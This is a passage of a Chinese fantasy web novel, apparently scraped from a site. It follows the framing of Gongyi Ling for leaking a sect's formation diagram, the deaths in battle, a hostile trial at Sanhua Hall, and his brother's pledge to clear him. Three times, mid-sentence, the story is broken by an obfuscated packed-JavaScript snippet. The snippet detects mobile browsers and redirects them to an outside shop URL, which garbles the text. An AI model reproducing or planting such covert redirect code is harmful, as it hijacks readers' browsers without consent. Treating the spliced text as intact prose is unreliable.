尹景轩终于变了语气,近乎怜悯地对他道:“公仪岭,好好抬头看一看吧,你们阵法,已经被我破了!” “什么?!” 公仪岭心中一惊,立刻抬头去看天空。 果然如尹景轩说的那样,那天空中原本还亮着光的阵法,竟然已经开始黯淡下去,几乎都看不清了。 而此时,在琉璃顶上应敌的其他人,也都意识到了不对劲,神色大变。 “怎么可能?怎么会这样?!” 公仪岭难以置信,手上招架的动作也迟缓了一些。 尹景轩勾唇道:“不用谢我,公仪岭,就算是我送给你的一份大礼吧。” 公仪岭完全不明白他是什么意思,但方寸大乱下,他一个没有防备,竟然被尹景轩一脚踢回了琉璃顶之上。 这一脚力道极大,公仪岭在琉璃顶上滚了好几圈,呕出了一口血,还没来得及重新站起来杀回去,上面尹景轩便随手丢下来了一个卷轴,直直地砸到了公仪岭心口的位置。 与此同时,天空中的阵法彻底破碎,化作一场飞雪,无声无息地飘落,席卷了整个紫阳宗的上空。 不等公仪岭打开身上的卷轴,那卷轴就自己在地上摊开。公仪岭只瞥了一眼,浑身的血就如冰块般凝固住了。 他的耳畔传来尹景轩一字一句、意味深长的话语:“真是多谢你了,公仪岭。” 128.东海见飞雪 阵法守仙门(六) 阵法破碎,随之而来的是法术的强烈反噬。 公仪岭脑子一片空白,都没能来得及仔细思考他说这话的意思,心口就是一阵绞痛,全身上下受着灵力灼烧之感,喉咙再次涌上血气,吐出几大口血。 其他人也没有好到哪里去,每一个都是口吐鲜血、面色苍白。其中最严重的还数燕修远,他身为长辈,这一次用的灵力是所有人里面最多的,如今被法术反噬,呕血不说,还险些晕死过去,尝试了好几次都无法起身。 尹景轩见燕修远动弹不得,如同砧板上的肉一样任人宰割,当即嗤笑了一声,手上的凶刀缠绕起魔气,朝着那个方向猛然掷去! 公仪岭心中一紧,尹景轩的凶刀破空而来,竟是直冲燕修远的要害去的。 如今归云也躺在地上,他灵力稀微,无法唤起归云,只能喊出一句:“闪开!闪开!” 可燕修远意识模糊,压根不能闪避开来。 周围护法的人还正在拼死抵抗着外围傀儡和魂魄的攻击,根本无法顾忌到那边。里面受灵力反噬的人尝试想要挥出法器制止,可灵力微弱,一时间根本使唤不起来。 只有齐元白尚且还能催动自己的符箓,颤抖着手想飞出符箓定住空中飞刃,然而还是晚了一步,眼睁睁看着燕修远被那柄凶刀穿心而过,当场断了气。 “师父!” “爹——!” 撕心裂肺的几声叫喊,燕渊反手挥出一道火光阻拦魂魄后,再也无暇顾及旁的什么,哭喊着扑到了燕修远身旁,绝望地呼喊着爹。 齐元白怔在原地,睁大了眼,看着自己的符箓被凶刀碾成碎片,随后那柄刀又回到了尹景轩的手中。 他尚未完全反应过来燕宗主已经离世的事实,下一秒,就听到耳畔久久回荡了一个声音,那是他最熟悉的声音。 “哥哥——!” 他机械地回过头,瞬间,黏腻的鲜血溅在他那惨白的脸上,眼球被血染红,几乎无法视物,还有血液顺着他的眼眶一滴滴流下来,分不清到底是他的血泪还是……齐清鸢的血。 齐清鸢的嘴型甚至还维持着喊他哥哥的形状,眉眼间尽是惊惶,直到看到齐元白平安无事,才艰难地动了动唇,可是谁也没听出她最后一句话是什么。 所有人都是愣愣地看着两边,完全没有反应过来这前后不超过十秒发生的事情。 齐元白不敢置信地看着瞳孔已经逐渐涣散、心口被捅出一个大洞,正在汩汩流血的妹妹。 他哆嗦着嘴唇,半晌才发出了一声凄厉的尖叫。 有傀儡的鬼手从齐清鸢的心口抽出,她终于支撑不住,倒在了哥哥身上。 公仪岭勉强支起身,施法让归云斩断他周围其他缠绕过来的魂魄,下一秒便看见齐元白赤红着双目,徒手拧断了那只傀儡的脖子。 下面乱作一团,而半空中尹景轩自己的情况也并没有好到哪里去。 公仪岭刺穿他腹部的时候,剑上汇聚十成十的灵力,直到现在他还能感到灵力灼烧的剧痛之感。 阵法虽破,但被他们的结界拖了太长时间,广场上的傀儡也灭了大半,已经不再占优了。 尹景轩冷眼看着下面的场景,大笑着从半空中消失了,与他一起消失的,还有剩下所有傀儡和妖邪。 没过片刻,乌云消散,海面上重新回归宁静,一切景象都与从前相同,唯一的区别是天空中飘洒漫天大雪,落在地上的血泊之中,掩盖住了所有生死不知的仙门弟子。 琉璃顶上,公仪岭见玄霄殿离去,扬手收回归云,勉强借着归云半跪在地上。 只是,他自身还没调息完,就听到中央的善承长老沉声发问:“公仪岭,你身旁那张阵法图,究竟是怎么回事?” 这一句话出口,公仪岭如坠冰窖。 大家如梦初醒,纷纷侧目去看公仪岭,见他身边那展开的卷轴上,画着的果然是抱元门的阵法图。 而刚刚所有人都看见了,是尹景轩亲手把阵法图丢在了公仪岭身上,还说了一句多谢的话。 其中的意思,不言而喻。 公仪岭勉强开口道:“我不知道。” 玄微长老冷然道:“你不知道?公仪岭,这上面的阵法,画得可是分毫不差!” 公仪岭道:“我不知道,我从没画过阵法图!” 燕渊这时候才抹着眼泪看清楚卷轴上面的内容,呆滞片刻后瞬间反应过来了什么,勃然大怒冲到公仪岭面前,骂道:“是你,是你!是你泄露了阵法图!” 公仪岭这么久以来,对燕渊的怒气在这一刻爆发,直接将他一把推开:“一派胡言!我从未泄露过阵法图!” 燕渊如何能够冷静,被他推开后仍然暴怒地冲了上来,揪住了公仪岭的衣襟:“这阵法图是刚刚尹景轩丢给你的,事到如今,你还不承认!你害得阵法被破!是你害死了我阿姐,现在又害死了我爹!” “燕渊,你冷静一点!阿岭不会干出这样的事情!” 公仪岚企图将燕渊拉开,却被燕渊反手甩开。 燕蓉大声道:“少宗主!现在事情还没搞清楚……” “搞清楚?还用搞清楚什么?!”燕渊转头斥责道,“那尹景轩说的话,难道还不够清楚吗!” 燕煦泽也开口道:“少宗主,此时事关重大,不可妄下定论!” 燕渊却是怒不可遏,手中扇子宛如利刃,就想直接把公仪岭当场割喉。 就在众人以为燕渊就要酿成大错之时,公仪岭却眼神冷厉,抬手凌空捏住了燕渊的手腕,随后一掌将他击飞出去数十丈远。 “够了!燕渊。” 公仪岭厉声道:“从玄霄殿回来以后,你就因为私人恩怨处处刁难于我!现在仅凭玄霄殿一句诬陷之言,又想置我于死地!” 燕渊被他一掌击飞,勉力起身擦去嘴角血沫,唾骂道:“诬陷之言?阵法图都已经甩到你身上了!还需要什么别的证据?!要不是你将此图泄露出去,难道这些人还会战死吗?!” 燕渊说完,旁边一片静默,只有公仪岭咬牙说了一句:“我没有!” 公仪岚急声对中间的人说道:“善承长老!阿岭他绝不会……” 善承长老闭了闭眼,最终说道:“到底有没有,不是现在三言两语就能定下的。玄霄殿已经暂退,公仪岭,等各家清点完战死的弟子后,你就前往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13992940|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三化殿当堂对质吧。” * 紫阳宗一场大战刚收场,公仪岭泄露了阵法图的事情就如插翅一般在仙门各家传了个遍。 其他宗门的人与他相交不深,议论起来也就没那么多顾忌,唾弃的唾弃,谩骂的谩骂,将自家所有战死弟子的死因都归结到了他身上,仿佛这样才能疏通了心里那口恶气。 “听说了吗?这次紫阳宗大战,是他们云灵山的人泄露了阵法图,这才没把玄霄殿一锅端了!” “什么云灵山的人?我呸!谁不知道他公仪岭是个整天不学无术的人!也好意思说是云灵山的人,他能做出这样的事情,我看也不稀奇。” “他公仪岭这样做,如何能对得起自家大哥,如何能对得起战死的爹娘?!” “要不是最后抱元门的阵法功败垂成,我宗何至于折损了那么多弟子?!这个仙门叛徒,我恨不能将他剥皮抽筋,来祭奠战死的英魂!” 他们这些小宗门如此痛骂,但其他几大宗门却都是三缄其口,绝口不提当日发生了什么。 这样的话语,现在也就公仪岭自己尚且不知了。 琉璃顶上,公仪岭浑浑噩噩被大哥带回了云灵山,随后,公仪岚设下了一道极强的结界,将他与外界隔绝开来,算是关了禁闭。 会审定在了三日后,而公仪岭也在云灵山被关了三日。 他原以为三天以后,公仪岚就会将他放出去,去三化殿辩驳那莫须有的罪名,然而并没有。 第三日清晨,公仪岚带着云灵山的一干弟子,来到了他院子外面。 两人隔着结界两两相望,公仪岭走到院门口,指尖触上了结界,低声问公仪岚道:“大哥,你是来带我过去的吗?” 出乎他的意料,公仪岚缓缓摇头:“不是。” 公仪岭不解其意,疑惑地看着他。 公仪岚继续说道:“阿岭,我知道你不会干这样的事情,这件事定然另有隐情,你且在结界中待上数日,我会去三化殿内了结此事。” 公仪岭急声道:“可是,我若是不出现在三化殿中当众与他们对质,他们定然会以为我心虚,藏在云灵山不现身,又该如何解释清楚?” 公仪岚沉默了许久,才说道:“阿岭,现在外面全都认定了你泄露阵法图,你就算去了,恐怕也难以辩驳!” 公仪岭这几日也思虑了颇多,冷静道:“那你原先是如何打算的呢?大哥。” “你毕竟是云灵山的人,我们必须得拿出个态度来,只要拖延几日,找出证据……” 公仪岭道:“大哥!这不是小事,我若是今日出面,或许还能有转圜的机会,我若是藏在云灵山中,他们定然会将事情迁怒于你、迁怒云灵山!届时又该如何收场?” 公仪岚沉声道:“那我也不能眼看着你在三化殿上被人诬陷……如果到时候辩驳不清,他们要将你就地处决,我又该如何保全你!阿岭,你可明白?” 公仪岭决然道:“大哥,没做过的事情,我绝不会认!算我求你,让我一起去,至少我去了,他们就没理由迁怒云灵山。” 公仪岚凝视了他许久,叹了口气,扬手解开了结界。 129.集议三化殿 山令不得出(一) 抱元门,三化殿。 殿门口人山人海,聚满了各家弟子,正激烈地讨论着什么,直到抬头看见了云头上的一行人,嘈杂声渐微,片刻后便鸦雀无声。 公仪岭仅仅只是从归云剑上落下,就已经能察觉到周围投来的无数带着敌意的目光。 随后,也不知道是哪家的弟子带头,破口大骂道:“公仪岭,你这个叛徒!” 公仪岭脚下一滞,冷冷地看向那个弟子,手中灵力聚起,强忍着一拳打过去的念头。 那弟子见他眼神冷厉,像是下一秒就要过来揍自己的样子,顿时缩了缩脖子,但还是壮着胆子又喊了一句:“瞪着我做什么?我哪句话说错了?干出这样的事情,你还要不要脸!” 公仪岚早知会发生这样的事情,面色一变,立刻拽住公仪岭那只手腕,防止他做出什么过激的举动,强行将他带进了三化殿中。 三化殿内,其他宗门的宗主和弟子都已经到场,公仪岭与公仪岚直直站在中央,静静等待着善承长老开口。 善承长老望着大殿中间站着的人,平静道:“公仪宗主,依照惯例,你应当在旁等候。” 公仪岚迟疑着刚想回绝,便被公仪岭打断:“大哥,你先过去。” 公仪岚抿唇未答,四下看了两眼,见所有人都眼神催促着自己,还是回到了云灵山的位置上。 公仪岭等他归位了,才回过头对善承长老说道:“善承长老,今日我前来,并不是来认罪的,在琉璃顶上,我就已经说过,这件事情与我无关,我从未做过泄露阵法图之事。” 善承皱眉,也没想到过了三日他竟然还是这样的说辞。 “公仪岭,当日琉璃顶上,我们所有人都听到尹景轩是如何说的,难道你认为,是尹景轩故意说了这样让人误解的话,引人误会?” 公仪岭嗤道:“他就是一个疯子!疯子说的话,也能信得?我看,他就是嫉恨我捅他一剑,才想出这样的办法,来兵不血刃地解决我!” 燕渊寒声道:“那阵法图千真万确就是你的笔迹,难不成也是他故意造假出来的?破阵就是事实!若不是阵法图泄露了出去,就凭他们也能破解?” 公仪岭直视他道:“笔迹?笔迹能算什么证据?这些年来我回过各家弟子的信笺不在少数,有心之人想栽赃陷害的话,稍加临摹即可,要说有泄露阵法图的可能,当时看过的也不止我一个,何况,那图本就在抱元门之中,难道抱元门的其他弟子就没可能偷看吗!” 另外一名抱元门的弟子道:“简直无中生有!尹景轩那话板上钉钉,怎么不说是你临阵倒戈背弃旧主,他这才卸磨杀驴,把你做的事情给捅了出来?” 此话一出,殿内众仙家弟子也开始交头接耳起来。 “说得不错,现在所有证据都指明了,最大的可能性就是他做的,现在竟然还颠倒黑白,嘴真是够硬的!” “是啊,是啊!之前紫阳宗那神兽,我听说就死的蹊跷,多半也是他受玄霄殿指使干的吧!” 这两句话落入公仪岭耳中,他立刻矢口否认:“九宫青狻猊离奇死亡,与我何关?誓师大会上它突然发狂,我不过是将它制服,控制了局面,这样荒谬的事情,竟然也能推到我头上?” 燕渊道:“公仪岭,之前在紫阳殿上我们还给了你面子,召你过来想要解决此事,尚未把细节披露出去,只过了几日,难道你就忘记,你是用什么东西控制住九宫青狻猊吗?!” 一石激起千层浪。 燕渊这话,相当于承认下来了外界所传。 誓师大会乱作一团,大部分人都不清楚无定涯上发生的细节,但人多嘴杂,还是有些人透露了公仪岭当时是依靠外物制服九宫青狻猊这件事。只不过那几天,紫阳宗的人并未把这个事情摆到台面上说,那些宗门也不好妄加揣测,只能私下议论一番。 公仪岭道:“当时紫阳殿内我已经解释清楚!黑石鬼玉是我尚未归还,要是没有此物,当初玄霄殿我们要如何救人?” “你还敢提玄霄殿救我阿姐的事?是,结界和机关是靠这个打开的,但是人呢?人救回来了吗?!” 他一提到燕婉,公仪岭只能低声说道:“燕婉的事情,是一个意外。” 紫阳宗的弟子冷声道:“意外?那在你公仪岭身上,各种各样的意外还真是多呢!” 公仪岭紧握着拳头,努力镇定道:“你说的意思,我听不懂。” 那弟子毫不掩饰自己的鄙夷之情,开始如数家珍起来:“你听不懂没关系,我可以一样一样说给你听。公仪岭,你意外拿到了玄霄殿的黑石鬼玉、意外用黑石鬼玉制服了九宫青狻猊、意外让九宫青狻猊暴毙而亡影响誓师大会,又意外将阵法图泄露给了玄霄殿,照你这样说,这一切都是意外了?!” 公仪岭道:“九宫青狻猊究竟是如何暴起伤人,又是如何中毒而死,你们紫阳宗的人都尚且还没调查清楚,就把责任都甩到我身上?” 公仪岚站起身,厉声道:“当时紫阳殿上,你们分明没有找到证据,为何还要拿这样无凭无据的东西来说事?当初燕宗主明明也说了,此事疑点重重,需要延后再议!” 那弟子忿忿不平,口中还在说着“肯定”、“一定”之类的话,并没有息事宁人的打算。 燕煦泽适时拦下自家师弟:“现在并没有直接的证据能证明青狻猊是因为黑石鬼玉死的,此事暂且不提。” 抱元门一位弟子接话道:“你说公仪岭他意外拿到了黑石鬼玉,这倒是奇了,我们明明都知道,黑石鬼玉在玄霄殿可是宝物,既然是宝物,怎会说借就借?” “是啊!我还听说,那尹鸿宣还帮他们救人,最后还忤逆父亲保全了他们,非亲非故的,他做什么这样帮仙门中人?” “就是!我要是他,在迷雾林的时候,早就把人拿下了,还能帮他们对付自家老爹?” 听到这些传言,善承长老脸上的表情也变了变。 此前紫阳宗组织几家前去玄霄殿救人,虽每个人身受重伤,但还是平安归来,这已经让他们有些疑惑了,只不过当时碍于处理燕婉的事情,并没有细细追问,如今听到这些,的确让人奇怪。 这样的事情,需得找个相对中立的当事人来问一问。 他眼神移动,落在纪银灵身上,开口问道:“纪宗主,尹鸿宣在玄霄殿帮了你们?” 纪银灵眼神闪烁,沉默片刻后,点头道:“的确,当时我们几个陷入幻境,是尹鸿宣带我们出去的。” “迷雾林那么大,他特意前来救你们出去?” 纪银灵顿了顿,才道:“他说他是路过。” 那抱元门弟子听到纪银灵的话,立刻懂了:“我知道了,肯定是他早就跟公仪岭认识,才会特意来迷雾林救人的!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009598|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >下面其他弟子也悄声交流着,偶尔流出的只言片语也是觉得颇有道理。 纪银灵听到了这些,皱眉道:“尹鸿宣从未说过他与公仪岭相识,当时帮我们,也是因为听说了我们有事相商,才会出手。” 燕渊怒道:“那他尹鸿宣在迷雾林里施以援手也就算了,后面知道我们要救人,还私下带我们前去血池入口,又在玄霄殿门口拼命保下我们,他有这么好心?难道不是因为,公仪岭与他早已相识吗?!” 公仪岭缓缓道:“你哪来的证据证明我与他早已相识?是你听尹鸿宣说了,还是亲眼看见了?” “当初在大殿上,是你亲口说的尹鸿宣可信,我这才跟着他去了血池入口,那时候本就情急,他会突然那么说,显然是与你早就商量好了!他会这么爽快地带我们过去,无非两种可能:一、他认识你所以帮忙;二、你与他达成了某种交易,让他带你潜了进去!” 公仪岭凝视了燕渊许久,突然笑了一声。 “算我当时心善,求了尹鸿宣帮忙救你姐姐出来,却没想到你今时今日竟然拿此事作为诬陷我的证据。” “你说得不错,我的确与尹鸿宣相识一场,只不过当时在城中救了他一命,他以黑石鬼玉相赠,仅此而已!” 紫阳宗弟子像是听到了确凿证据一般,伸手指着他道:“听到了吗?!他承认跟玄霄殿二殿下早就相识!公仪岭,你可知道勾结奸邪,是什么下场!” 公仪岭冷冷道:“我没给他透露任何仙家的事情,只不过偶然相遇,在城中赌场救了他一命而已,就这样也能被称作勾结奸邪?可笑!” 他刚说完,耳边顿时充斥着各家弟子的轻声唾骂。 “证据都这么多了,还大言不惭,脸皮真够厚的……” “就是,难不成还得亲手把那尹鸿宣抓来,他才承认自己背叛仙门,勾结妖邪?” 公仪岭气得浑身发抖,喉咙里却发不出一点声音。 有那么一瞬间,他甚至想捏断这些不分青红皂白骂自己的人的喉骨。 别人认定的事情,他再怎么辩解有何用?不过是徒劳罢了! 公仪岭正克制着自己,底下忽然有一人出声道:“你说的那城,可是宣安城?你说的那赌场,可是醉春风?” 公仪岭一愣,循声望去,看见了一张熟悉的脸,是薛子昂。 公仪岭知道瞒不过他,干脆点头应了:“正是,那日你们离开后,我为了给那个小女孩找人,才意外去了那边,救下了尹鸿宣。” 薛子昂闭了闭眼,像是想起了什么不愿回忆的往事,过了许久,才艰难道:“公仪岭,你可还记得,在宣安城,你拒烧人皮,执意将人皮驱魔后,给城中百姓下葬?” 公仪岭皱眉道:“此事我与你师兄早已商议过,永不提起,你现在与我说这个,是什么意思?” 薛子昂直视着他,道:“公仪岭,我的师兄薛尧,他死了!” “你知道他是怎么死的吗?因为玄霄殿的人知道了此事,屠了我们无妄宗满门,我的师兄,正是死在了尹鸿晔的刀下!” 公仪岭一时哑然。 他只知道无妄宗死伤惨重,却没想到以薛尧的身手也还是被害了。 薛子昂恨声道:“若是早知如此,当初我断然不会同意你留下这样的祸害!这样的话,我们无妄宗上下,也不至于遭受如此灭顶之灾!” 130.集议三化殿 山令不得出(二) 众人还是第一次听到薛子昂提及灭门的内情,不由震惊,继而就有人追问:“薛宗主何出此言?公仪岭拒烧人皮又是怎么一回事?” 薛子昂道:“众仙友有所不知,中秋宴后没多久,宣安城便出现了大量妖邪作祟,我们前去调查之时偶遇了公仪岭,一同清理了那些人皮傀儡,而那些被制成傀儡的城中百姓的人皮已经沾染上了魔气,我的师兄提议将他们焚烧以绝后患,但是公仪岭并未同意,用了驱魔的法子清除魔气,再封入棺中。” “本以为此事就此了结,谁料玄霄殿的人竟然知晓了此事,上来清理门户!当日,公仪岭可是亲口答应绝不外露此事,玄霄殿的人又是如何知晓的?除非,就是他故意留下人皮,透露给了玄霄殿!” 公仪岭怔在原地,如果不是知道自己没干这事,他都要信了这番说辞。 燕渊厉声道:“现在所有的事情指向难道还不够明确吗?若非刻意为之,这世上哪有那么多巧合!” 公仪岭摇头道:“我留下人皮,是因为这些人都是城中百姓的至亲之人!在解决这件事情后,我从未透露给任何人!” 薛子昂道:“万仙寺内当时只有我宗弟子和你公仪岭,不是你透露的话,难道还是我们宗门的人自己透露出去,自己害自己灭门?” 公仪岭尚在否认,但旁边围观的弟子们却像是早就在心中给他定罪了一般,喧闹起来。 “无妄宗说的这件事,说是铁证如山都不为过!” “前一天还跟人约好不透露,后一天就在赌坊遇到了尹鸿宣,天下哪有这样巧的事情!” “两位长老这还有什么可审的?单是泄露阵法图这件事情,都足够定他死罪了!” 听着周围吵吵闹闹的这些话,公仪岭脊背发寒、冷汗直流,整个人开始心慌意乱起来。 并非是他害怕被诬陷至死,而是连他也觉得这样的巧合,实在是太不可思议了。 所有事情串联起来,就像是有个幕后之人,暗中操纵着全局,一步一步引导着他走到今日这个百口莫辩地步。 究竟是谁?! 公仪岭目光顺着大殿两侧,一个一个人扫视过去,落在他眼中的那些弟子们却都像是长了同一张脸,让他根本分辨不清,他越看,越觉得每一张面孔都陌生而模糊,但他们每个人谩骂他的话又说得清清楚楚。 公仪岚在旁边紧紧注视着公仪岭的状态,听着他反反复复只念着同一句话,察觉到不对,立刻唤道:“阿岭!” 公仪岭根本没有听见。 他僵硬地站在大殿中央,全身克制不住地战栗颤抖,灵力顺着经脉弥漫,缠绕在他周身,几乎暴走。 “阿岭!” 公仪岚大喝一声,顾不得那么多规矩,直接飞身上前,扣住了公仪岭的手腕,想要强行将他暴涨的灵力压制下来。 善承见状,从正座上起身,厉声道:“公仪岭,这是在大殿之上,你想做什么?!” 如果不是公仪岚刚刚将他的灵力压制,恐怕周围站着的这些人都会被他误伤。 公仪岭被他扣住腕骨,挣了一下并未挣脱,侧头对他道:“大哥!欲加之罪,何患无辞,说了这么多,他们无非想要置我于死地!现在你还不明白吗?你告诉我,我还站在这边与他们废话什么?” 公仪岚沉声道:“即便是你伤了他们所有人,也只会让他们觉得是你被揭穿了,恼羞成怒之下出手伤人!” 公仪岭道:“大哥,你没听到他们都在说什么吗?!他们污蔑谩骂我也就罢了,如今还带上了云灵山!像他们这样是非不分的人,我与他们还有什么话可说?即便那些不是我做的,可他们横竖都要降罪于我,还不如直接让我出手坐实此事!” “阿岭,你冷静一点!你没有做过这些!你没有错!” 公仪岚努力让他镇定下来,可公仪岭心头却是一阵悲凉。 时至今日,他心中只剩下一个念头,那就是与其眼看着他们污蔑,倒不如直接在大殿上出了这口气,叛逃宗门,撇干净他与云灵山的关系,等日后再与这些人算总账。 公仪岚何尝不知道他现在在想什么? 他凝视着公仪岭的眼睛,轻叹了一口气。 “阿岭,你要走正道。” 公仪岭愣愣地望着公仪岚,身上突然没了力气,周围暴涨的灵力也随着他的这一句话逐渐平息下来。 可是,就在他卸力之时,公仪岚却忽然出手,直接将他给打晕了过去。 公仪岭只来得及露出一个惊诧的表情,甚至没说出一句话,便两眼一黑,不受控制地倒了下去。 公仪岚把他扶住,转身欲走。 燕渊以为他们想逃,当即大喝了一声:“站住!你们想干什么?想逃跑吗?!” 公仪岚回头,眼神冰凉,只是这样冷淡地看了燕渊一眼,并未答话。 燕渊从未见过公仪岚露出这样的神情,一时间竟然觉得惶恐起来,下意识后退了一步。 这样的情况,善承长老也始料未及。 但公仪岚毕竟与司月吟定下婚约,就算是公仪岭的过错,他们也不能借此为难公仪岚,坏了两家情谊,故而也没有第一时间封闭三化殿的大门。 善承长老敲打道:“公仪岚,你应该知道,在会审结束前,私自带罪犯离开,是个什么罪名。” 公仪岚静静道:“善承长老,现在尚且没有实质证据,那公仪岭就不是罪犯。” 玄微长老冷哼道:“种种迹象都如此表明,难道你公仪宗主还要包庇他不成?” 这一句公仪宗主的称呼,无异于是在提醒公仪岚自己的身份了。 如果只是身为公仪岭的兄长,那公仪岚的确可以这样做,但他同时也是云灵山的宗主,如此行径,等于与其他宗门为敌。 公仪岚比任何人都清楚这些,沉默了片刻后,咬牙道:“这些事情疑点重重,还请两位长老允我带阿岭回云灵山关禁闭,再给我七日时间,我一定能查明真相,给大家一个交代。” 善承和玄微还没说话,下面的弟子们就已经闹翻了天。 “还给什么时间调查?想要给我们交代,那就把人交出去啊!” “一个背叛仙门,一个包庇弟弟,你们这样可对得起自己死去的爹娘!” 公仪岚置若罔闻,再一次重复道:“请长老给我七日时间。” 旁边席中也站出一人,走到公仪岚面前,毫不犹豫跪在了地上。 公仪岚惊道:“月吟?” 司月吟没有回应他的话,而是对着两位师父行了礼,叩首道:“师父,还请给阿岚七日的机会吧!” 看见长老叹了口气,不为所动,齐元白等人也都忍不住出声求情道:“长老,给岚兄七日时间,一定能查明真相!” 只是,下面的围观弟子大多数并不买账。 “我看,关七天时间是假,心虚想把人藏起来才是真!” “就是!不把人交出来就是心虚!” “我们凭什么信你,要给你七天时间?” 良久,公仪岚平静道:“我以性命担保,七日之后,一定能给大家一个交代。” 司月吟也完全没想到他竟然会这样说,一时愣在原地,片刻后才回过神来:“阿岚……” 她想要问,可是迎上的却是公仪岚冷静的目光,看着他对自己摇了摇头。 而公仪岚这一句话,同时也震得在场所有人皆是一惊,三化殿内安静得落针可闻。 没人想到他竟然会为了保住公仪岭,做到这样的地步。 最先打破宁静的还是公仪承悦那焦急的一声:“宗主!” 他说完这一声,随后更多的云灵山弟子跟着他一同喊着,请他三思,不要冲动。 公仪岚闭了闭眼,狠下心没有往承悦那边看。 承悦极少这样唤他,大概也是真的急了,才会这样。 善承长老凝视着他,叹息道:“公仪岚,你何必如此……” 公仪岚挺了挺脊背,道:“他是我弟弟。” 也是他唯一的亲人。 他这样坚持,又拿自己性命作为担保,一时间下面反驳的众人也没了话,等着善承长老开口。 善承清楚他的言下之意,眉心微动,似是思考了许久,最后道:“如你所愿。” 底下齐元白几人蓦然松了口气。七日,虽然时间极短,但也算是个转机,若是有他们帮忙的话,也许真的能查出真相。 公仪岚面上没有一点波动,颔首对上座的两位长老行了一礼,低声道:“多谢长老。” * 公仪岭是第二日醒来的。 他一睁开眼,映入眼帘的墙面再熟悉不过,是他自己的房间。 他是什么时候回来的? 公仪岭只记得自己被大哥打晕以后便失去了意识,之后发生了什么,一概不知。 他从床上坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014465|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起,抬手尝试运起灵力,诧异地发现自己身上的伤竟然好了。 公仪岭环顾房间,视线最终停留在了不远处的桌案上,那里放着许多瓶瓶罐罐,应该是药灵阁里拿过来的各种药材。 不用想他也知道,肯定是公仪岚治好了他身上的伤。这些时日,公仪岭身上大大小小受了不少伤,想要治好并不是一件容易的事情,公仪岚应该为此花了不少灵丹妙药。 房中只有他一个人,公仪岭张了张嘴,想喊人过来,但他大概是很久没喝水了,声音有点沙哑,只能勉强喊了一句:“大哥?” 无人应答。 他的声音不算小,若是在以往的话,院中的仙侍一定能听到。 公仪岭下了床,推开了房门,被外面的阳光刺痛了眼,缓了许久,才重新看清楚了院内的场景。 整个院落都被透明的结界笼罩,他又被关起来了。 所幸院门口守了两个仙侍,公仪岭走了过去,问两人道:“我是怎么回云灵山的,大哥呢?” 仙侍听到响动,忙转身过来,两两交换了一个眼神,踌躇道:“岭师兄,会审结束后,是宗主亲自带您回来的。” “会审结束了?”公仪岭皱眉道,“究竟发生了什么事情?为何大哥又设下结界了?” 仙侍面露为难,顿了顿,才道:“昨日便结束了,岭师兄。宗主交代过了,这七日时间,您都得待在房内,不可出来。” 另一个仙侍强颜欢笑:“岭师兄,您从前不是最喜欢待在房中吗?这几日您就安心调息,恢复身子,其余的事情,宗主说他自会处理。” 公仪岭看出他们是在安慰自己,但不管他如何追问,这两个仙侍显然是受了公仪岚下的命令,再三回避,不愿据实相告。 公仪岭在院门口软磨硬泡了半个时辰,也没能从他们口中问出一点话,最后累得在结界边上就坐下了,还是不死心地追问。 但那两个仙侍,一开始还能与他说上两句,后面便直接闭口不答,专心看门,不再理会公仪岭说什么了,一个时辰后,还十分贴心地给公仪岭扔了一根钓鱼竿子,嘱托他要是无聊的话,便在院里钓鱼解闷。 公仪岭拿着钓鱼竿,凌乱了。 这样的时候,他还怎么能钓得进去鱼?不把事情搞清楚,他能安心吗? 他望了望院中的那汪池水,看见里面多了不少鱼,想来是公仪岚怕他寂寞,给了他这些池鱼作伴。 他甚至开始思考起来,是不是三化殿上已经定完了他的罪,所以大哥向长老给他争取来了七天,算是临终关怀,能让他走得安心一些。 公仪岭把这个可能性说给了仙侍听,期盼着能从他们的表情上分析出点什么,可那两个仙侍像是铁了心一样,都没给他一个眼神,直接假装没听见。 他就这样在自家的院落里度过了七日。 这七日,除了门口的那两个仙侍看守,山中没有任何一个人过来探视他,不要说公仪岚,他就连公仪承悦的面都没见上。 于是,公仪岭把这几日当作了自己人生中最后的七日,每日在院里,看着潺潺流水,看着日升日落。直到最后一夜,他熬了整整一晚,看着黎明将近,半边天露白,静静等待着天亮以后会发生的事情。 但是,在他等到公仪岚放他出来以前,他先等到了另一样东西。 当那紫锦信函落到自己手中的时候,公仪岭愣住了。 公仪岚设下的结界极强,把所有外界的讯息阻隔在了外面,同时也没留给他一封信。 公仪岭觉得齐元白他们应该是给他写了信的,但承悦没过来,自然也就交不到他手里。 他下意识地抬头望天,见那结界还好端端地设在那里,迟钝的脑子这才转过弯来。 并非结界消散,才让他亲手收到了信,而是寄信的人,不知道用了什么办法,这才把这封信送入了结界中。 